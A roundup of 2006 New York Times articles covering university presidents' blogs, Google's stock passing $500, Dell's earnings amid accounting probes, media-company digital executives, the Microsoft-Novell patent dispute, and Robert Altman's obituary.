Dr. Caret’s post titled “Education vs. Training” prompted a graduate student to complain about what he called a language barrier with foreign-born teachers. To illustrate his point, the student reprinted a note in broken English from one of his professors, which ended: “Of course, some class(es) may not satisfy your thirsty in terms of your learning expectation. But even those classes will be a small stone to build your career.”

The student asked Dr. Caret, “Can students learning a new subject be expected to comprehend the new topic when they are too busy trying to comprehend what was just said?”

Though Dr. Caret’s site posted the letter, he did not answer the question on his blog. In an e-mail message, he said he forwarded the complaint to the provost.

It is this kind of exchange that prompts Mr. Cotton, the lawyer, to urge caution. If trustees are dissatisfied with a president, Mr. Cotton said, blogs offer a president’s adversaries ready ammunition. A casual comment taken out of context, a longstanding problem not addressed, or a politically controversial position can all torpedo a president, he said.

“In this day and age of political correctness,” Mr. Cotton said, “it exposes the president to all kinds of unfair and unwarranted criticism.”

So perhaps it is no wonder that Dr. Caret is not live on the keyboard. An assistant posts the thoughts that Dr. Caret dictates, while an employee in the marketing department screens responses and posts them.

“When you’re fund-raising, a big part of that is creating an atmosphere of excitement, of a campus that’s going places,” Dr. Caret said. The blog, he said, “adds to that.”

Some presidents try to connect on a lighter, more personal note. After forgetting his cellphone on the roof of his car and driving off, Dick Celeste, the president of Colorado College, blogged about “that set of brain cells that tells me exactly what is going to happen when I do something. But then is incapable of helping me avert that very consequence.”

Lou Anna K. Simon, president of Michigan State University, uses her blog for serious topics. For example, she recommitted the university to diversity, despite a rejection of affirmative action by voters in Michigan this month.

Dr. Simon also condemned a conservative group’s plan to stage “Catch an Illegal Immigrant Day” on campus. The event would have involved finding a student to play the role of an illegal immigrant and turning the “immigrant” in. Dr. Simon derided the game as “a way to mock and demean, not to educate; a way to exclude, not include, voices.”

That posting won her praise from the student government and others, said Lindsey Poisson, a reporter for the campus newspaper. Though the president’s choice of subjects did not always resonate with students, in this instance, students wanted to know where the president stood, Ms. Poisson said.

“Her blogging is one of the things that changed the image of the president on campus,” she said. “A significant part of everything she’s trying to do to is to reach out to students.”

But the group that planned the event, Young Americans for Freedom, said that the blog inhibited free speech, and that no professor or administrator should express an opinion publicly about anything.

“We’re here to be educated, to get our degrees,” said Kyle Bristow, chairman of the group, which dropped its plans in favor of a forum on immigration later this semester. “They’re here to provide an atmosphere where we can be educated. We should be able to think for ourselves and not have people like Lou Anna Simon thinking for us.”

At Trinity, Dr. McGuire took a chance in exposing “trinity gurl” on her blog. Instead of opening communication with students, she risked shutting it down by rebuking the informant publicly. But anonymous accusations ran against the university’s honor code, a point, she said, that she could not ignore. Eventually, “trinity gurl” identified herself to Dr. McGuire as a student.

Leah Martin, president of the student government at Trinity, said the column fed into an ongoing debate over Web pages, free speech and the honor code, adding the president’s voice to the mix. “People wanted to know what she thought,” Ms. Martin said.

Bob Johnson, a consultant to many universities on marketing, said he was mystified that university officials had not generally embraced blogs. Mr. Johnson said student blogs, for example, could be a “hugely effective” recruitment tool, even if they carried the implicit promise — or threat — of uncensored truth, however unflattering.

Mr. Johnson encourages presidents to be bold.

“Just because you can’t beat them,” he said, “doesn’t mean you shouldn’t do it yourself.”
http://www.nytimes.com/2006/11/22/ed...rtner=homepage





A $500 Milestone for Google Believers
Saul Hansell

When Google’s shares nearly doubled in the first few months after its initial public offering, Mark Mahaney decided it was time for his clients to take advantage of the fervor that had built up around the company. He advised them to sell Google shares and put the money into Yahoo.

“I thought the stock was a little expensive,” said Mr. Mahaney, an analyst then for American Technology Research and now for Citigroup. “It turns out that was a terrible call.”

So by the beginning of 2005, Mr. Mahaney jumped on the Google bandwagon. And so have most of Wall Street’s analysts, along with the portfolio managers who look after big pension and mutual funds.

Yesterday, Google’s shares closed at $509.65, up $14.60, passing the $500 mark for the first time. (Mr. Mahaney, who made his sell recommendation at $137, is now among those predicting that Google shares will rise to $600 within a year.)

Not bad for a company that was forced to reduce its initial offering price to $85 a little more than two years ago because of lackluster demand. It quickly confounded the skeptics, rising to $100 on the first day of trading, and reaching closing prices of $200, $300 and $400 all within the course of 2005.

Google now has a market value of $156 billion, exceeding all but 13 American companies — icons of commerce like Exxon Mobil, Johnson & Johnson and Wal-Mart. It is worth more than any media company and all the technology companies except Microsoft, whose software empire it increasingly threatens, and Cisco Systems.

Google’s success has made its founders, Sergey Brin and Larry Page, the 12th- and 13th-richest people in the United States, according to Forbes — and, at 33, the youngest in the top 400. Their shareholdings are worth more than $15 billion each, on top of the more than $2 billion in cash that each has received for selling some shares.

Yet Google’s rise in value and corporate maturity is not just about accomplishment, but about potential. While most companies slow as they grow, Google so far appears to be accelerating.

Its rising stock price has helped it attract the best engineers, minting an untold number of Google millionaires. It has also allowed important acquisitions, most recently a $1.65 billion all-stock deal for the video-sharing site YouTube. And as Google builds a lucrative franchise in selling advertising all across the Web, it makes more money, invests more and keeps the cycle going.

Anthony Noto, an analyst with Goldman Sachs, calls this a “flywheel.”

“They can reinvest at a faster rate; they can innovate at a faster rate; they can create value for advertisers and users at a faster rate,” he said.

The company is spending money as if it doesn’t expect this growth to stop. Since its offering, Google has quadrupled its staff, to more than 9,000 employees — many with doctorates from the world’s leading universities — and it is hiring more than 100 people a week to fill three dozen or so offices in more than 20 countries; its headquarters are in Mountain View, Calif., in Silicon Valley. Last year, it received more than a million résumés.

Google is pouring billions of dollars a year into research, computers and a global communications network — as well as investments in solar energy, a new campus at a decommissioned naval air station, and an army of private chefs cooking free meals from organic produce and hormone-free meat.

Not everything Google touches has turned to gold. Its homegrown video service, chat software and financial information section lag behind those of popular rivals. It has found itself a magnet for legal threats and, in some cases, lawsuits as it moves aggressively to make a growing body of content searchable online. And some have expressed concern about the volume of personal data it is accumulating about its users.

Still, as Google starts to dabble in all sorts of markets, ranging from wireless Internet access to corporate software, it has become in many ways the center of gravity for the technology industries.

“It feels in many ways like competing with Microsoft in the ’90s,” said Jim Breyer, a venture capitalist with Accel Partners. “In a number of investments, if we are not at the top of our game, we will lose share to Google. Or Google will buy someone who will compete effectively.”

Hanging over all of this, of course, is the specter of the Internet boom and then the bust six years ago, and the paper wealth it created and destroyed. Some see traces of that era’s outsize expectations, if not delusions, in Google’s ascent.

After all, a company called Amazon.com was once going to change the world. Its shares split three times in the late 1990s before reaching a high of $113 at the turn of the millennium — only to fall to single digits within two years. (They have worked their way back above $40.)

But there are big differences. Google’s rise is not a result of a general rapture with technology stocks or even the search-engine category. Indeed, while Google’s stock price has risen almost 50 percent since late March, the shares of its main competitor, Yahoo, have declined nearly 14 percent.

Yet that does not settle the matter. Geoffrey A. Moore, a Silicon Valley marketing consultant and author of books on investing in technology stocks, argues that investors’ fascination with Google will inevitably wear off and its shares will plummet like so many highfliers before it.

“Google has had a spectacular early run,” he said. “The notion that this is a different animal is never the right argument.” He suggested that if Google’s business hit an unexpected slowdown, the company could meet the same fate.

“People will say, How did we ever believe that stuff?” he said. Instead of admiring Google’s practice of allowing its engineers to spend 20 percent of their time on personal projects, investors will start complaining that the company would be “only getting 80 percent productivity out of its work force.”

For now, Mr. Moore is very much in the minority. Many of those analysts who do not think Google shares will rise further express confidence that the current value is justified.

“I do not think there is a bubble about to burst — not even close,” said Benjamin Schachter, an analyst with UBS Securities, who has rated the shares hold all year. He says the stock should trade at $500 a year from now. His concerns are that the growth of Internet searching and text ads will slow and the prospects for Google’s expansion into video ads and other markets have not been proved.

But “over the long term, Google continues to outmaneuver all of its competitors,” he said. “I think it is one of the most important companies on the planet.”

And by some measures, Google’s stock price is not as steep as some stocks were at the turn of the millennium. Google’s market value today, at $156 billion, is marginally higher than the $150 billion Yahoo reached in January 2000. That year Yahoo earned a profit of only $71 million on sales of $1.1 billion; Google, in contrast, is expected to record a profit of $2.8 billion this year on gross revenue of $10 billion.

As with any highflying stock, though, a few investors are actively betting on a reversal of fortune. Fred Hickey, who writes the High-Tech Strategist newsletter from his home in Nashua, N.H., says that Google’s shares are sharply overvalued and will fall as investors notice that the company’s rapid growth is slowing.

He points out that its revenue increased 11 percent from the second quarter to the third quarter — a brisk pace, to be sure, but a lot less than the 18 percent pace in the corresponding time a year earlier.

“Google showed the sharpest revenue slowdown I’ve seen,” he said, “and nobody has paid attention.” He argued further that the company’s expenses are “out of control,” and that if the economy headed into a recession, Google’s revenue would falter and its profits plummet.

“Google will suffer the same fate that Yahoo did in 2000,” he said.

Mr. Hickey has put his money where his mouth is: he sold Google shares short, a bet that the stock price will decline. But not much: the short position is just 50 shares.

“I just wanted to be able to say I was short Google when it blew up,” he said.
http://www.nytimes.com/2006/11/22/te.../22google.html





At Dell, Profit Rises, Questions Linger
Damon Darlin

Dell reported another quarter of tepid revenue growth yesterday, but investors looked at a marked improvement from the previous period as a sign of a turnaround, pushing shares up sharply in after-hours trading.

The company had third-quarter net income of $677 million, or 30 cents a share, up 11.7 percent from the $606 million, or 25 cents a share, a year ago, which included options expenses and a one-time charge of $442 million. Analyst had expected income of 24 cents a share.

Revenue was up 3.4 percent to $14.4 billion from $13.9 billion a year ago. The computer maker, based in Round Rock, Tex., did not provide year-ago comparisons or include balance sheet information in reporting results for the quarter, which ended Nov. 3. Revenue increased 5 percent in the second quarter.

Dell cautioned that its results were preliminary and subject to restatement because of questions raised by the Securities and Exchange Commission and the United States attorney for the Southern District of New York. Both are investigating the company’s accounting.

Dell said it did not expect to file required audited statements to the S.E.C. on time. It has yet to file statements for its second quarter, which ended Aug. 4.

“People weren’t looking at the year-over-year basis,” said Laura Conigliaro, an analyst with Goldman Sachs. Dell reported income of $502 million, or 22 cents a share, in the second quarter. “People are trying to figure out if Dell can bounce back from the last quarter,” when, she said, the company “unraveled.”

Ms. Conigliaro said the average selling price increased for most Dell computers, suggesting that the company was doing a better job of avoiding severe discounting.

“It is not where you want to give it a Good Housekeeping stamp of approval,” she said, “but it shows a higher level of discipline.”

Dell’s shares closed up 17 cents, at $24.82 in regular trading. Shares rose as high as $27.05 in after-hours trading.

The company said its gross profit margin was 17 percent, up from the 15.5 percent in the second quarter.

“It points to the second quarter as an anomaly,” said A. M. Sacconaghi, an analyst with Sanford C. Bernstein & Company.

Some securities analysts were a bit more cautious. William C. Shope, an analyst with J. P. Morgan, said “it’s hard to understand how margins could be this variable.”

The uncertainty over the investigations, as well as the lack of detailed financial information makes it difficult for analysts to forecast Dell’s results.

“The sustainability of this improvement is still in question,” Mr. Shope said. Last year, Dell’s gross margin was 18.6 percent.

Dell’s stock has increased in value about 42 percent from its 52-week low set in late July.

Dell has said that the requests from investigators relate to the possibility of misstatements in previous financial reports, including issues relating to accruals, reserves and other balance sheet items from 2002 to the present.

Ms. Conigliaro said in a research report last week that “of more concern will be the very real possibility now that this could precipitate management changes and add more uncertainty to a company that has already decided to provide less detail and no targets.”

In reporting its results, the company also broke with its tradition of having the chief executive, Kevin Rollins, or its founder and chairman, Michael Dell, holding conference calls with journalists and Wall Street securities analysts. It issued only a news release after the stock market closed.

Nick Rodelli, senior analyst at the Center for Financial Research and Analysis, a forensic accounting research and consulting firm that has been examining the company’s financial statements, raised the question of whether the decision not to discuss the financial statement signaled “concerns at the board level regarding the conduct” of Mr. Dell or Mr. Rollins or “possibly others within Dell’s senior management team.”

In a news release, Dell said that “a better balance of liquidity, profitability and growth are starting to take hold.” It also heralded its growth in Asia, where it sold 23 percent more computers. Unit sales growth in the Americas, it said, fell 4 percent.

The clearest indication of Dell’s problem in the United States is seen in the unit-sales numbers behind its slipping market share in the notebook PC segment. Almost two-thirds of Dell’s business comes from North American sales.

According to sales numbers collected by Gartner, the market research firm, Dell sold more notebooks in the United States than any other vendor. But while the market for notebook computers grew 19 percent in the calendar third quarter, Dell’s sales were up 6 percent.

Meanwhile, Hewlett-Packard sold 23 percent more notebook PCs, as did Toshiba.

In the desktop market, which over all slipped 16 percent in the United States, Dell’s sales fell 15 percent. (Among the major makers, only Apple sold more desktops than the year before.) Desktops still account for 36 percent of Dell’s total revenue.

Dell executives have said they are committed to the direct-sales model, but they are experimenting with variations. It has set up two mall stores in which customers can view products and order them for delivery.

Last week, the company even set up shop inside the online virtual world “Second Life.” Visitors there can buy virtual PCs for use in the virtual world, but they can also order real computers for delivery in the real world.

The company is also spending about $150 million to improve its customer service at call centers. Dell said average hold time for American customers had been reduced to three minutes from nine minutes. The company has also reduced the number of rebates it offers to make its prices easier to compare to those of other online PC vendors.
http://www.nytimes.com/2006/11/22/te...gy/22dell.html





Seeking Executive to Tame the Digital Future
Richard Siklos

THE want ad above is a goof, of course, but it roughly sums up the state of play among big media companies’ digital operations.

In the last few weeks, there has been a stampede of change involving the top Internet executives at big media companies. Most significant, Jonathan F. Miller, the chairman and chief executive of AOL, was replaced at that Time Warner division by Randy Falco, a 31-year veteran of NBC Universal; Ross Levinsohn, the wunderkind who helped Rupert Murdoch snag MySpace last year, left the News Corporation two weeks ago and is being replaced by a cousin, Peter Levinsohn, a Fox TV veteran; and Larry Kramer, who built and sold the site MarketWatch, left his job as digital overseer at CBS after the arrival of Quincy Smith, a former investment banker, as his boss.

MTV Networks, meanwhile, recently appointed Mika Salmi, the founder of Atom Entertainment, a Web media company that it acquired, as its latest digital honcho, and NBC Universal has been making all sorts of online moves under the auspices of Beth Comstock, who came from owner General Electric last year to head all things digital there.

Has an archetypal digital genius yet emerged amid all this movement? Not exactly. The screenwriter William Goldman famously said of Hollywood’s hit machinery that “nobody knows anything.” When it comes to the digital machinations of media companies, the new tag line may be that “nobody knows everything.”

In some instances, notably AOL and the News Corporation, the companies in question have decided that their businesses have reached a new phase that would benefit from a different set of skills — in AOL’s case, operations and a heavy focus on ad sales. Elsewhere, including CBS, the digital executives themselves have discovered that the action within a giant media company may not be as much fun as it first seemed.

Michael J. Speck, who runs the media practice at the executive recruiter Heidrick & Struggles, says that roughly three baskets of digital media overseers are in the market. The first is the well-versed old-media executive who both knows how to navigate corporate corridors and run a business but may not be the most Webby person on the squad. Mr. Falco, come on down! (Of course AOL is a bit of an outlier in this discussion because it is such a big business unto itself, let alone as part of Time Warner.)

The second basket contains the Web stars — people like Mr. Salmi and, in a way, Mr. Smith, who has a venture capital background. These stars know how to identify and build Web businesses early.

Then there is the less common “general corporate athlete” (someone like Ms. Comstock), who has a track record of getting things done in a complex company but is neither a seasoned operating executive nor a Web head.

In search of enlightenment, I spoke with three of these former Web gurus — Ross Levinsohn, Mr. Kramer and Jason Hirschhorn, who left Viacom earlier this year after serving as MTV Networks’ first chief digital officer.

Mr. Levinsohn said he was grateful to Mr. Murdoch and his deputy, Peter A. Chernin, for the opportunity, but added that they differed amicably on the next moves to make in the online world and that, ultimately, he was keen to part ways and do something more entrepreneurial.

In Peter Levinsohn, the company is getting an executive with arguably less operational experience than his cousin but someone who has a record of cutting deals to distribute Fox video products on digital services like Amazon, iTunes and AOL. Moreover, people close to the company said Mr. Murdoch would probably invest in whatever Ross Levinsohn did next, though Mr. Levinsohn declined to discuss his plans. “This is not a bad thing for me, or for them,” he said.

In Mr. Kramer’s case, he made a tidy fortune selling MarketWatch and said he had never meant to take a full-time job but had enjoyed “proselytizing” about digital media across CBS and improving its Web sites. The hiring of Mr. Smith, a former Allen & Company investment banker with deep connections in Silicon Valley, came as alarm bells went off throughout media companies when Google swallowed YouTube.

CBS’s emphasis shifted from building assets internally to identifying and becoming involved with the hottest next thing. “If I was 35, I would have stayed,” said Mr. Kramer, who is 56.

Mr. Hirschhorn, who is a couple of decades younger than Mr. Kramer, said he joined Viacom in 2000 after selling a Web design start-up to the company and had never known what it was like to work in a big corporation.

After a few years of working on various online businesses at MTV Networks, it was time for a change. For his part, he yearned to get involved in another start-up or young company. (He says he’s about to take just such a job.) Meanwhile, as is typical of what can happen in these roles, Viacom’s thinking about the position was also changing.

Geoffrey K. Sands, who heads the North American media consulting practice at McKinsey & Company, told me that the tension between old and new in the latest round of digital executive changes might be missing the bigger point.

“There’s a general tendency to focus too much on individuals and make too much of who’s in and who’s out,” Mr. Sands said. “You’re going to need people who are visionary and innovative about the opportunities created by digital media, but I would look less at the individuals and more at the teams they’re putting together.”

Indeed, if the challenges of competing with Internet giants and whiz kids in garages weren’t daunting enough, one of the biggest factors for success in these jobs is organizational: does the anointed guru have the juice to cross over existing divisions and to introduce newfangled businesses that may actually hurt before they help? At NBC, for example, the current lineup of digital and Internet projects — only some of which report wholly to Ms. Comstock — resembles a Tokyo subway map.

In a way, the tenure of a chief digital genius weirdly mirrors the fickle nature of the Web itself: hits can appear very quickly, but only a few stick around for the long haul.
http://www.nytimes.com/2006/11/26/bu.../26frenzy.html





Microsoft-Novell Pact Is Already in Dispute
Steve Lohr

Less than three weeks after they reached an accord hailed as proof that rival software companies could work together, the chief executives of Novell and Microsoft are engaged in an unusual public dispute.

The pact was seen as an affirmation of the importance of Linux, an open-source competitor to Microsoft’s Windows operating system, and of the need to satisfy corporate customers who want to run both Windows and Novell’s variety of Linux in their data centers.

Explaining the agreement at a software developers’ conference in Seattle last week, Steven A. Ballmer, Microsoft’s chief executive, said it “appropriately compensated Microsoft” because Linux “uses our patented intellectual property.”

On Monday, Ron Hovsepian, Novell’s chief executive, shot back with an “open letter” that declared, “Some parties have spoken about this patent agreement in a damaging way, and with a perspective that we do not share.” He added, “Importantly, our agreement with Microsoft is in no way an acknowledgment that Linux infringes upon any Microsoft intellectual property.”

Microsoft replied with a news release Monday evening, saying the companies “have agreed to disagree.”

Yet the terms of engagement between Microsoft and Linux promise to become an even greater source of controversy. The general counsel of the Free Software Foundation, which holds the license to Linux, yesterday called on Microsoft to alter its pledge not to file patent-infringement suits against customers who use Novell’s version of Linux, called SuSe Linux. He said the pledge should be extended to all Linux users or to none.

That point was a crucial part of the Microsoft-Novell pact, which also included joint technology development and marketing programs.

The deal was also regarded as a way for Microsoft to try to undermine its leading open source competitor, Red Hat, whose customers would not enjoy the same patent pledge as Novell customers.

Preferential treatment for one distributor or group of developers of Linux over others is something the new version of the Linux software license, which is nearly complete, will seek to prohibit, said Eben Moglen, general counsel of the Free Software Foundation.

“This deal raises important questions,” said Mr. Moglen, who is a law professor at Columbia University, “and it is not going to work well under the new license.”

The new version, the General Public License 3.0, is in the final public comment stage, and is scheduled to become effective next March. A major aim of the license revision is to deal with the spread of software patents, and patent lawsuits, in recent years. And the new license will almost certainly make it difficult for companies to make selective patent pledges to some Linux distributors, developers and users, and not to others, Mr. Moglen said.

He said the concern was that Microsoft could use such patent promises as a competitive weapon to undermine companies who are rivals or to threaten independent Linux software developers.

“Microsoft should take back the patent promise to Novell customers or extend the promise of patent safety to everyone, not just Novell customers,” he said.

Microsoft has not previously made an issue of patent claims against Linux companies or developers. And while Mr. Ballmer’s assertion last week that Linux code includes Microsoft’s intellectual property may be his personal belief, it is not been reflected in the company’s strategy — at least not so far.

In an interview after the Novell deal, Bradford L. Smith, the general counsel of Microsoft, pointed to the agreement as an example of the “new intellectual property paradigms” that would be needed so that corporations and consumers could more easily use all kinds of technology, from open-source and proprietary software to digital music and video in different formats.

The different technologies and businesses will remain different, Mr. Smith said, but rigid intellectual property rules should not prevent them from working together. “What’s needed are bridges, not walls,” he said.

In its statement on Monday, Microsoft said, “Both of our companies are fully committed to moving forward with all of the important work under these agreements.”
http://www.nytimes.com/2006/11/22/te...gy/22soft.html





Robert Altman, Director With Daring, Dies at 81
Rick Lyman

Robert Altman, one of the most adventurous and influential American directors of the late 20th century, a filmmaker whose iconoclastic career spanned more than five decades but whose stamp was felt most forcefully in one, the 1970s, died Monday in Los Angeles. He was 81.

His death, at Cedars Sinai Medical Center, was caused by complications of cancer, his company in New York, Sandcastle 5 Productions, announced. A spokesman said Mr. Altman had learned that he had cancer 18 months ago but continued to work, shooting his final film, “A Prairie Home Companion,” which was released in June, and most recently completing pre-production on a new film that he intended to begin shooting in February.

Mr. Altman had a heart transplant in the mid-1990s, a fact he publicly revealed for the first time last March while accepting an honorary Oscar at the Academy Awards ceremony.

A risk taker with a tendency toward mischief, Mr. Altman put together something of a late-career comeback capped in 2001 by “Gosford Park,” a multiple Oscar nominee. But he may be best remembered for a run of masterly films — six in five years — that propelled him to the forefront of American directors and culminated in 1975 with what many regard as his greatest film, “Nashville,” a complex, character-filled drama told against the backdrop of a presidential primary.

They were free-wheeling, genre-bending films that captured the jaded disillusionment of the ’70s. The best known was “MASH,” the 1970 comedy that was set in a field hospital during the Korean war but that was clearly aimed at antiwar sentiments engendered by Vietnam. Its success, both critically and at the box office, opened the way for Mr. Altman to pursue his ambitions.

In 1971 he took on the western, making “McCabe & Mrs. Miller” with Warren Beatty and Julie Christie. In 1972, he dramatized a woman’s psychological disintegration in “Images,” starring Susannah York. In 1973, he tackled the private-eye genre with a somewhat loopy adaptation of Raymond Chandler’s “The Long Goodbye,” with the laid-back Elliott Gould playing Philip Marlowe as a ’70s retro-hipster. And in 1974 he released two films, exploring gambling addiction in “California Split” and riffing on the Dust Bowl gangster saga with “Thieves Like Us.”

Unlike most directors whose flames burned brightest in the early 1970s — and frequently flickered out — Mr. Altman did not come to Hollywood from critical journals and newfangled film schools. He had had a long career in industrial films and television. In an era that celebrated fresh voices steeped in film history — young directors like Francis Ford Coppola, Peter Bogdanovich and Martin Scorsese — Mr. Altman was like their bohemian uncle, matching the young rebels in their skeptical disdain for the staid conventions of mainstream filmmaking and the establishment that supported it.

Most of his actors adored him and praised his improvisational style. In his prime, he was celebrated for his ground-breaking use of multilayer soundtracks. An Altman film might offer a babble of voices competing for attention in crowded, smoky scenes. It was a kind of improvisation that offered a fresh verisimilitude to tired, stagey Hollywood genres.

But Mr. Altman was also famous in Hollywood for his battles with everyone from studio executives to his collaborators, leaving more burned bridges than the Luftwaffe. He also suffered through periods of bad reviews and empty seats but always seemed to regain his stride, as he did in the early ’90s, when he made “The Player” and “Short Cuts.” Even when he fell out of popular favor, however, many younger filmmakers continued to admire him as an uncompromising artist who held to his vision in the face of business pressures and who was unjustly overlooked by a film establishment grown fat on special effects and feel-good movies.

He was often referred to as a cult director, and it rankled him. “What is a cult?” Mr. Altman said. “It just means not enough people to make a minority.”

The Breakthrough

The storyline had to do with a group of boozy, oversexed Army doctors in a front-line hospital, specifically a Mobile Army Surgical Hospital. Fifteen directors had already turned the job down. But at 45, Mr. Altman signed on, and the movie, “MASH,” became his breakthrough.

Audiences particularly connected with the authority-bashing attitude of the film’s irreverent doctors, Hawkeye (Donald Sutherland) and Trapper John (Mr. Gould).

“The heroes are always on the side of decency and sanity; that’s why they’re contemptuous of the bureaucracy,” the critic Pauline Kael wrote in The New Yorker. “They are heroes because they are competent and sane and gallant, and in this insane situation their gallantry takes the form of scabrous comedy.”

The villains are not the Communist enemy but marble-hearted military bureaucrats personified by the pious Frank Burns (Robert Duvall) and the hypocritical Hot Lips Houlihan (Sally Kellerman).

The film was nominated for five Academy Awards, including one for best picture and one for Mr. Altman’s direction. It also won the Golden Palm, the top award at the 1970 Cannes Film Festival, and the best picture of the year award of the National Society of Film Critics.

But “MASH” was denied the best-picture Oscar; that award went to “Patton.” In later years Mr. Altman received four more Academy Award nominations for best director and two for producing best-picture nominees, “Nashville” and “Gosford Park.” The only Oscar he received, however, was the honorary one in March.

Mr. Altman was angry that the lone Oscar given to “MASH” went to Ring Lardner Jr., who got sole screen credit for the script. Mr. Altman openly disparaged Mr. Lardner’s work, touching off one of his many feuds. Later, when Mr. Altman seemed unable to duplicate the mix of critical and box-office success that “MASH” had achieved, he grew almost disdainful of the film.

“ ‘MASH’ was a pretty good movie,” Mr. Altman said in an interview. “It wasn’t what 20th Century- Fox thought it was going to be. They almost, when they saw it, cut all the blood out. I fought with my life for that. The picture speaks for itself. It became popular because of the timing. Consequently, it’s considered important, but it’s no better or more important than any of the other films I’ve made.”

Mr. Altman’s interest in film genres was candidly subversive. He wanted to explode them to expose what he saw as their phoniness. He decided to make “McCabe & Mr. Miller” for just that reason. “I got interested in the project because I don’t like westerns,” Mr. Altman said. “So I pictured a story with every western cliché in it.”

His intention, he said, was to drain the glamour from the West and show it as it really was — filthy, vermin-infested, whisky-soaked and ruled by thugs with guns. His hero, McCabe (Mr. Beatty), was a dimwitted dreamer who let his cockiness and his love for a drug-addicted prostitute (Ms. Christie) undo him.

“These events took place,” Mr. Altman said, of westerns in general, “but not in the way you’ve been told. I wanted to look at it through a different window, you might say, but I still wanted to keep the poetry in the ballad.” “Nashville” interweaved the stories of 24 characters — country-western stars, housewives, boozers, political operators, oddball drifters — who move in and out of one another’s lives in the closing days of a fictional presidential primary. Mr. Altman returned to this multi-character approach several times (in “A Wedding,” “Health,” “Short Cuts,” “Prêt-à-Porter” and “Kansas City”), but never again to such devastating effect.

“Nashville is a radical, evolutionary leap,” Ms. Kael wrote in The New Yorker. “Altman has already accustomed us to actors who don’t look as if they’re acting; he’s attuned us to the comic subtleties of a multiple-track sound system that makes the sound more live than it ever was before; and he’s evolved an organic style of moviemaking that tells a story without the clanking of plot. Now he dissolves the frame, so that we feel the continuity between what’s on the screen and life off-camera.”

Mr. Altman’s career stalled after “Nashville,” although he continued to attract top actors. Paul Newman starred in “Buffalo Bill and the Indians” in 1976, Sissy Spacek in “3 Women” in 1977 and Mr. Newman again in “Quintet” in 1979. But critical opinion turned against Mr. Altman in the late ’70s, and his films fared worse and worse at the box office.

The crushing blow came in 1980, when Mr. Altman directed Robin Williams in a lavish musical based on the “Popeye” cartoon. Though it eventually achieved modest commercial success, the movie was considered a dud because it made less money than had been expected and drew almost universal scorn from the critics. Mr. Altman retained his critical champions, including Ms. Kael and Vincent Canby of The New York Times, who in 1982 called Mr. Altman one of “our greatest living directors.” But the tide had turned against him.

In “Fore My Eyes,” a 1980 collection of film essays, Stanley Kauffmann spoke for other critics when he derided what he saw as the director’s middle-brow pretensions. “He’s the film equivalent of the advertising-agency art director who haunts the galleries to keep his eye fresh,” he wrote.

If Mr. Altman never fully regained his critical pre-eminence, he came close, recapturing much of his luster in the final years of his life. And he always kept in the game.

He remade his career in the early ’80s with a string of films based on stage dramas: Ed Graczyk’s “Come Back to the Five and Dime, Jimmy Dean, Jimmy Dean” in 1982, David Rabe’s “Streamers” in 1983 and Sam Shepard’s “Fool for Love” in 1985. He also did some fresh work for television, a medium he had reviled when he left it two decades earlier.

In 1988, he directed a strong television adaptation of “The Caine Mutiny Court-Martial,” a stage play by Herman Wouk based on his novel “The Caine Mutiny.” The Altman version restored the class conflict and anti-Semitism that had been excised from the 1954 Hollywood treatment starring Humphrey Bogart.

The ’90s brought an even more satisfying resurgence for Mr. Altman. It began with a pair of critical film successes: “The Player,” an acerbic satire based on the Michael Tolkin novel about a ruthless Hollywood executive, and “Short Cuts,” an episodic, character-filled drama based on the short stories of Raymond Carver. The films earned him his third and fourth Oscar nominations for best director.

Then, in 2001, came “Gosford Park,” an elaborate murder mystery with an ensemble cast that capped his comeback.

Mr. Altman’s last film, “A Prairie Home Companion,” based on Garrison Keillor’s long-running radio show, was released in June and starred Meryl Streep and Kevin Kline in another ensemble cast. Writing in The Times, A.O. Scott called the film a minor Altman work “but a treasure all the same.” “I seem to have become like one of those old standards, in musical terms,” Mr. Altman said in a 1993 interview. “Always around. Lauren Bacall said to me, ‘You just don’t quit, do you?’ Guess not.”

Son of a Salesman

Robert Bernard Altman was born on Feb. 20, 1925, in Kansas City, Mo., to Helen and B.C. Altman, a prosperous insurance salesman for the Kansas City Life Insurance Company. Mr. Altman’s grandfather, the developer Frank G. Altman, had built the Altman Building, a five-story retail mecca in downtown Kansas City. (It was razed in 1974.)

Young Robert attended Catholic schools and the Wentworth Military Academy in Lexington, Mo., before enlisting in the Air Force in 1945. He eventually became a co-pilot on a B-24. It was during this period that he invented what he called “Identi-code,” a method for tattooing numbers on household pets to help identify them if they were lost or stolen; he even talked President Harry S. Truman into having one of his dogs tattooed.

After the Air Force, Mr. Altman went to work with the Calvin Company, a film company in Kansas City, making training films, advertisements and documentaries for industrial clients. In 1947 he married LaVonne Elmer, but they divorced two years later after they had a daughter, Christine. He married Lotus Corelli in 1950, and they divorced in 1955; they had two sons, Michael (who wrote lyrics to “Suicide Is Painless,” the “MASH” theme song, when he was just 14) and Stephen, a film production designer who frequently worked with his father.

Mr. Altman began to set his sights on Hollywood while still working in Kansas City. His first screen credit came for helping write “Bodyguard,” (1948) a B movie about a hard-boiled detective.

It was not until 1955 that he actually headed for Hollywood; he had gotten a call offering him a job directing an episode of the television series “Alfred Hitchcock Presents.”

Over the next decade, he directed dozens of episodes of “Maverick,” “Lawman,” “Peter Gunn,” “Bonanza,” “Hawaiian Eye,” “Route 66,” “Combat!” and “Kraft Suspense Theater.”

It was while on the set of the TV series “Whirlybirds” that Mr. Altman met his third wife, Kathryn Reed. They married in 1957 and had two sons, Robert and Matthew. Mr. Altman’s wife and children survive him, as does a stepdaughter, Connie Corriere, 12 grandchildren and five great-grandchildren. Although Mr. Altman interrupted his early Kansas City work to crank out a teen exploitation movie called “The Delinquents” (1957), it was not until 1968 that he moved up to directing major actors in a Hollywood feature. The film, “Countdown,” starring James Caan and Robert Duvall, was a critically praised drama about the first flight to the moon. He followed that up in 1969 with “That Cold Day in the Park,” a psychological thriller starring Sandy Dennis as a woman driven mad by her sex urges.

In 1970, he made what is perhaps his strangest film, “Brewster McCloud,” about a nerdish youth who wanted to build his own flying machine and whiz around the Houston Astrodome.

Then came “MASH.”

In later years he gathered around him a company of favored performers, among them Mr. Gould, Lily Tomlin, Shelley Duvall, Bert Remsen and Keith Carradine. Many of his sets were celebrated for their party atmosphere, which often came through on the screen. He thought that creating a casual mood helped him expand the boundaries of filmmaking.

To achieve his vision, Mr. Altman was willing to battle studio executives over the financing of his films and ultimate creative control.

“Robert Altman is an artist and a gambler,” his longtime assistant director, Alan Rudolph, wrote in a 1994 tribute in Film Comment. “Pursuing artistic vision on film in America can sometimes put everything you own at risk.”

